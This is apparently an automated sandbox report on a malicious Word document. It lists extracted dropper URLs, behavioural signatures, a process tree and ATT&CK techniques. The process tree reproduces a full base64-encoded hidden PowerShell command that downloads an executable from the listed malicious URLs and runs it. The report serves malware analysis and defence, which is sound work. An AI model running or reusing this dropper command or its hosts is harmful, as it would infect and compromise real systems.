Analysis

  • max time kernel
    21s
  • resource
    win10v191014
  • submitted
    12-12-2019 14:09

General

  • Target

    5c8dba81db95bc51ed5031e5d36754b7511c85af2bf774d9b2399516815f2936.doc

  • Sample

    191212-w2am46mdma

  • SHA256

    5c8dba81db95bc51ed5031e5d36754b7511c85af2bf774d9b2399516815f2936

Score
8/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://beekaygroup.com/wp-admin/9MmF/

exe.dropper

http://ddecoder.com/css/tct/

exe.dropper

http://ekolfotografcilik.com/administrator/dm3cou/

exe.dropper

http://fairfaxhost.com/Nets.eu/7Lzn9wt/

exe.dropper

http://int.spro3.fcomet.com/wp-admin/jv/

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5c8dba81db95bc51ed5031e5d36754b7511c85af2bf774d9b2399516815f2936.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    PID:4856
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABTAHQAcABwAHYAcQBwAHYAeAA9ACcATQBsAHgAcAB3AHYAcwBjAGMAZQByACcAOwAkAFMAeQB0AHEAZwBnAGEAbwB0AHQAYwByACAAPQAgACcANgA5ADMAJwA7ACQAQQBoAGMAcgB5AGIAYQBoAHkAagBlAHEAPQAnAFoAZAB4AGIAdwB5AHQAdQBkAHkAeAB4AGsAJwA7ACQAUwBlAHIAdABlAGIAeQBmAG4AdQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUwB5AHQAcQBnAGcAYQBvAHQAdABjAHIAKwAnAC4AZQB4AGUAJwA7ACQAQgBhAGIAbwB0AHUAaQBtAGQAeQA9ACcARQBtAG8AbABmAHgAcwBkAHkAaABxACcAOwAkAFYAZABwAGoAaABkAGkAZQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAATgBFAFQALgB3AGUAQgBjAEwAaQBlAE4AVAA7ACQAQgB5AGgAZwBwAGEAagBnAHEAeQBvAD0AJwBoAHQAdABwADoALwAvAGIAZQBlAGsAYQB5AGcAcgBvAHUAcAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AOQBNAG0ARgAvACoAaAB0AHQAcAA6AC8ALwBkAGQAZQBjAG8AZABlAHIALgBjAG8AbQAvAGMAcwBzAC8AdABjAHQALwAqAGgAdAB0AHAAOgAvAC8AZQBrAG8AbABmAG8AdABvAGcAcgBhAGYAYwBpAGwAaQBrAC4AYwBvAG0ALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AZABtADMAYwBvAHUALwAqAGgAdAB0AHAAOgAvAC8AZgBhAGkAcgBmAGEAeABoAG8AcwB0AC4AYwBvAG0ALwBOAGUAdABzAC4AZQB1AC8ANwBMAHoAbgA5AHcAdAAvACoAaAB0AHQAcAA6AC8ALwBpAG4AdAAuAHMAcAByAG8AMwAuAGYAYwBvAG0AZQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAHYALwAnAC4AIgBzAFAATABgAEkAdAAiACgAJwAqACcAKQA7ACQAQgBnAGQAZQB1AGIAcgBrAD0AJwBJAGQAYwBmAGYAcQBxAHQAZABiAGgAbwBoACcAOwBmAG8AcgBlAGEAYwBoACgAJABOAHIAdgB4AHAAbAByAGIAZwBpACAAaQBuACAAJABCAHkAaABnAHAAYQBqAGcAcQB5AG8AKQB7AHQAcgB5AHsAJABWAGQAcABqAGgAZABpAGUALgAiAGQAbwB3AE4AbABgAE8AYABBAGQAZgBpAEwARQAiACgAJABOAHIAdgB4AHAAbAByAGIAZwBpACwAIAAkAFMAZQByAHQAZQBiAHkAZgBuAHUAKQA7ACQAUgBhAHIAbQBrAHQAagBnAG0AcgBvAD0AJwBKAHcAZABnAGcAbwBmAGgAZAByACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAUwBlAHIAdABlAGIAeQBmAG4AdQApAC4AIgBMAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAAwADUAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYQBgAFIAVAAiACgAJABTAGUAcgB0AGUAYgB5AGYAbgB1ACkAOwAkAE4AbgB0AHUAbQB5AG8AcQBkAD0AJwBZAG0AZAB5AHgAcABuAHIAbABoAGsAZwB5ACcAOwBiAHIAZQBhAGsAOwAkAFQAagBnAG4AaQBlAHoAYwBnAD0AJwBTAGUAcABxAHMAZgB2AGQAaAB1AGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBlAHYAYgBhAGMAZwB1AHMAZgA9ACcASwBwAHMAdgB6AGsAeABjAGsAJwA=
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    PID:1924
    • C:\Users\Admin\693.exe
      "C:\Users\Admin\693.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:3304
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3128
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:4448

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    3
    T1082

    Replay Monitor

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    Downloads